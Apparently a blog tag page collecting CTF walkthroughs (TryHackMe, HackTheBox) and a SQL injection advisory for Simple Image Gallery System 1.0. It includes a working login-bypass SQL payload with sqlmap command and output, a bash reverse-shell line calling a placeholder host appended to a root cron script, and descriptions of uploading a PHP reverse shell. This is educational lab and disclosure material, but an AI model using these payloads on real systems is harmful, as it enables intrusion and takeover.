Mostrando entradas con la etiqueta sql-injection. Mostrar todas las entradas
Mostrando entradas con la etiqueta sql-injection. Mostrar todas las entradas

domingo, 14 de mayo de 2023

Prioritise TryHackMe Writeup

 |  , , , ,  | 

logo

Scanning

We scan the open ports with the nmap tool with scripts and software versions.

> nmap -sVC -p- --min-rate 5000 prioritise.thm -Pn -n -oN nmap-prioritise.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 21:15 CEST
WARNING: Service 10.10.247.170:80 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for prioritise.thm (10.10.247.170)
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 51fe13747bbc526a883d21d1b3bf13ad (RSA)
|   256 73fef7fdedf492bde2997188f855b28f (ECDSA)
|_  256 f848693d7f199f03166337369f84a87a (ED25519)
80/tcp open  rtsp
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5082
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8" />
|     <meta
|     name="viewport"
|     content="width=device-width, initial-scale=1, shrink-to-fit=no"
|     <link
|     rel="stylesheet"
|     href="../static/css/bootstrap.min.css"
|     crossorigin="anonymous"
|     <link
|     rel="stylesheet"
|     href="../static/css/font-awesome.min.css"
|     crossorigin="anonymous"
|     <link
|     rel="stylesheet"
|     href="../static/css/bootstrap-datepicker.min.css"
|     crossorigin="anonymous"
|     <title>Prioritise</title>
|     </head>
|     <body>
|     <!-- Navigation -->
|     <nav class="navbar navbar-expand-md navbar-dark bg-dark">
|     <div class="container">
|     class="navbar-brand" href="/"><span class="">Prioritise</span></a>
|     <button
|     class="na
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     RTSP/1.0 200 OK
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|_    Content-Length: 0
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
|_http-title: Prioritise

Enumeration

We access the website, no credentials are required and we can create and order items.

Share This:    Facebook Twitter Linkedin

sábado, 17 de septiembre de 2022

StreamIO HackTheBox Writeup

 |  , , , , , , , , , , , ,  | 

 


Scanning

We run nmap on ports with scripts and software versions and enumerate subdomains streamIO.htb and watch.streamIO.htb:


Enumeration

We access to port 80 and found an Microsoft IIS server.

Share This:    Facebook Twitter Linkedin

sábado, 23 de julio de 2022

Catch HackTheBox Writeup

 |  , , , , , ,  | 

logo

Scanning

We run nmap on all ports with scripts and software versions.

PORT     STATE SERVICE VERSION                             
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)                                   
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))                                                                 
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                          
|_http-title: Catch Global Systems                                                                                    
3000/tcp open  ppp?                                                                                                   
| fingerprint-strings:                                                                                                
|   GenericLines, Help, RTSPRequest:                                                                                  
|     HTTP/1.1 400 Bad Request                                                                                        
|     Content-Type: text/plain; charset=utf-8                                                                         
|     Connection: close                                                                                               
|     Request                                                                                                         
|   GetRequest:                                                                                                       
|     HTTP/1.0 200 OK                                                                                                 
|     Content-Type: text/html; charset=UTF-8                                                                          
|     Set-Cookie: i_like_gitea=53d6077bb44d5f8b; Path=/; HttpOnly                                                     
|     Set-Cookie: _csrf=8IPZnKarz-eVCeHdRGbgDCE8Onc6MTY1MzcxNzQyOTA3ODQyMzk3MQ; Path=/; Expires=Sun, 29 May 2022 05:57:09 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly                                                         
|     X-Frame-Options: SAMEORIGIN                                                                                     
|     Date: Sat, 28 May 2022 05:57:09 GMT                                                                             
|     <!DOCTYPE html>                                                                                                 
|     <html lang="en-US" class="theme-">                                                                              
|     <head data-suburl="">                                                                                           
|     <meta charset="utf-8">                                                                                          
|     <meta name="viewport" content="width=device-width, initial-scale=1">                                            
|     <meta http-equiv="x-ua-compatible" content="ie=edge">                                                           
|     <title> Catch Repositories </title>                                                                             
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2d
pdGVhLmNhdGNoLmh0Yjoz                                                                                                 
|   HTTPOptions:                                                                                                      
|     HTTP/1.0 405 Method Not Allowed                                                                                 
|     Set-Cookie: i_like_gitea=0a4df252a0348581; Path=/; HttpOnly                                                     
|     Set-Cookie: _csrf=gIHkagbQDdAz242PMh_hU3xPfmA6MTY1MzcxNzQzNDgxMTg0Mzg5Nw; Path=/; Expires=Sun, 29 May 2022 05:57:14 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly                                                         
|     X-Frame-Options: SAMEORIGIN                                                                                     
|     Date: Sat, 28 May 2022 05:57:14 GMT                                                                             
|_    Content-Length: 0                                                                                               
5000/tcp open  upnp?                                                                                                  
| fingerprint-strings:                                                                                                
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:               
|     HTTP/1.1 400 Bad Request
|     Connection: close                                    
|   GetRequest:                                            
|     HTTP/1.1 302 Found                                   
|     X-Frame-Options: SAMEORIGIN    
|     X-Download-Options: noopen                                                                                      
|     X-Content-Type-Options: nosniff                                                                                 
|     X-XSS-Protection: 1; mode=block                                                                                 
|     Content-Security-Policy:                                                                                        
|     X-Content-Security-Policy:                                                                                      
|     X-WebKit-CSP:                                                                                                   
|     X-UA-Compatible: IE=Edge,chrome=1                                                                               
|     Location: /login                                                                                                
|     Vary: Accept, Accept-Encoding                                                                                   
|     Content-Type: text/plain; charset=utf-8                                                                         
|     Content-Length: 28                                                                                              
|     Set-Cookie: connect.sid=s%3AZA1RlVT7sNTj8pvrLGCsJEHg-t6nWOII.aMdd3ZMnOAGCxr4tNCDuGns46%2B4LDQ%2F2iOiu4ZDk2Fg; Path=/; HttpOnly
|     Date: Sat, 28 May 2022 05:57:13 GMT                  
|     Connection: close                                                                                               
|     Found. Redirecting to /login                                                                                    
|   HTTPOptions:                                                                                                      
|     HTTP/1.1 200 OK                                                                                                 
|     X-Frame-Options: SAMEORIGIN                                                                                     
|     X-Download-Options: noopen                                                                                      
|     X-Content-Type-Options: nosniff                                                                                 
|     X-XSS-Protection: 1; mode=block                                                                                 
|     Content-Security-Policy:                                                                                        
|     X-Content-Security-Policy:                                                                                      
|     X-WebKit-CSP:                                                                                                   
|     X-UA-Compatible: IE=Edge,chrome=1                                                                               
|     Allow: GET,HEAD                                                                                                 
|     Content-Type: text/html; charset=utf-8                                                                          
|     Content-Length: 8                                                                                               
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"                                                                                                                                                                                                
|     Set-Cookie: connect.sid=s%3A0nJWVQzdeOzY2pV8lHGPwd_dQPwEtoVu.2CXOcWwGshu3hG8FWjOiQJtra2a8EBf%2BNn3Abkz%2BI0Y; Path=/; HttpOnly
|     Vary: Accept-Encoding                                                                                           
|     Date: Sat, 28 May 2022 05:57:15 GMT                                                                             
|     Connection: close                                                                                               
|_    GET,HEAD                                                                                                        
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))                                                                 
|_http-server-header: Apache/2.4.29 (Ubuntu)                                                                          
|_http-title: Catch Global Systems

Share This:    Facebook Twitter Linkedin

domingo, 10 de abril de 2022

Ollie TryHackMe Writeup

 |  , , , , ,  | 

logo

Scanning

We run nmap on all ports with scripts and software versions.

Enumeration

Enter the IP and the domain olliet.thm in "/etc/hosts" file to speed up in case of machine reset.

We access the website, list the software version and a user "0day".

If we search exploit-db.com, we find at least two exploits reported in previous versions.

Both exploits require valid credentials, if we try to do some quick tests we see that the software is protected against automated attacks, blocking our access for 5 minutes.

We run wfuzz tool and we found db folder:

We have directory listing, we find the default database file.

If we look at the file "SCHEMA.sql" we see some default creds.

We tried cracking the hash at hashes.com:

The hash takes us to the default credentials, but they are not valid, so we will have to find another way.

We go back to the nmap information, this time we will connect to port 1337, it seems that there is a bot asking questions, as we know the breed of the dog, we answer "bulldog" and it gives us some credentials.

Exploitation

Log in as administrator, now we will have to find a way to access the server from the CMS.

I tried to run the exploit of version "1.4.4", but it doesn't work (logical, possibly patched). Anyway, it is good practice to check it manually.

If we do the manual check, we can see that the server response is still deficient to SQL Injection attacks.

We capture the Burp request and run sqlmap indicating the file, we can see that we can list the databases.

We check our privileges, we see that we have many privileges that would allow us to read and write files.

Extract the file "/etc/passwd":

Content passwd file:

In my case, I used a reverse shell of pentester monkey and uploaded it in the default directory.

We check if the file exists, we see that it does!

Now, we go on listen, re-execute the file m3.php and gain access.

We try to read the user flag and we do not have access. We try the password and we see that we can access (remember that we were asked for authentication by key in the SSH and prevented us from connecting), we read the flag of user.txt

Privilege Escalation

If we look for files with inherited SUID, we check that there is "pkexec", although the machine does not have the "gcc" binary, we could try to compile it locally, upload it and run it... But let's try to exploit the machine from another attack vector.

We run the linpeas tool, we see that it is running interesting actions:

We download and run "pspy" on the machine, we see that every few minutes the "feedme" binary with UID "0" (root) is executed.

We look for the file, check that we have permissions on it so that we can replace it with another malicious binary controlled by us.

Content feedme file:

We create our malicious "feedme" file, in my case I inserted a line in bash to get a reverse shell:

We put a netcat listening, wait a few minutes, we will receive a connection as root and read the flag root.txt:

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Share This:    Facebook Twitter Linkedin

miércoles, 16 de marzo de 2022

Simple Image Gallery System 1.0 - SQL Injection (Time-Based blind)

 |  , , , ,  | 

Description:

The Simple Image Gallery System 1.0 application is vulnerable to SQL injection through the "username" parameter in the authentication form.

Proof of Concept:

Use the following payload in the "username" field and type any password.

 'oR sLEeP(10);#

Exploitation

Once it is evident that the loading of the site takes 10 seconds, we can execute the following command with the SQLMap tool:

 sqlmap -u "http://[IP/HOST]:PORT/gallery/classes/Login.php?f=login" --data "username=admin&password=123456" --dbs --batch  


 ---  
 Parameter: username (POST)  
   Type: time-based blind  
   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
   Payload: username=admin' AND (SELECT 6178 FROM (SELECT(SLEEP(5)))VfMt) AND 'YJYU'='YJYU&password=123456  
 ---  
 [INFO] the back-end DBMS is MySQL  
 web server operating system: Linux Ubuntu 18.04 (bionic)  
 web application technology: Apache 2.4.29  
 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)  
 [INFO] fetching database names  
 [INFO] fetching number of databases  
 [INFO] resumed: 2  
 [INFO] resumed: gallery_db  
 [INFO] resumed: information_schema  
 available databases [2]:  
 [*] gallery_db  
 [*] information_schema

Disclaimer

This is a proof of concept and for academic purposes, we are not responsible for its use for other purposes.

Share This:    Facebook Twitter Linkedin

domingo, 7 de noviembre de 2021

Minotaur's Labyrinth TryHackMe Writeup

 |  , , , , , ,  | 

logo

Scanning

We run nmap on all ports with scripts and software versions.

Enumeration

In the nmap, we see that there is an FTP that can be accessed anonymously, we mount the ftp in our kali and list the first flag.

We found the website, tried default credentials, but nothing.

We reviewed the source code, found a few comments that might be useful (or fake). We are interested in the "login.js" file.

Content of login.js file

Exploitation

We have a comment where comes the password of the user "Daedalus", we make the substitution of the arrays and we obtain the credentials.

We check that the site is vulnerable to SQL Injection (Time-based).

We obtain databases

We obtain tables

We obtain People columns

We obtain the flat password using the hash.

We access with the administrator credentials and find a flag.

We find the secret section, we see that we can execute the ECHO command from this PHP application.

Testing

We tried to bypass it with command.

PoC

Read /etc/passwd

Reverse shell

We create a file with our reverse shell "m3.sh", download it with "wget" on the victim machine, give it execution permissions and execute it.

Executing file m3.sh

We check the version of python installed and configure the terminal to have a more interactive session.

We are looking for the location of the remaining flags.

Read user.txt file

Privilege Escalation

We see the following folder which is not common on a Linux system. Inside, there is a file with a script, it may be running from time to time.

We download pspy64, run it and see how the user "root (UID=0)" is running the script every so often.

We add the following line to the file "timer.sh" to get a shell with the user that executes the file.

echo "bash -i >& /dev/tcp/XX.XX.XX.XX/555 0>&1" >> timer.sh

We wait a few minutes and we will get a shell as root and read the flag.

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Share This:    Facebook Twitter Linkedin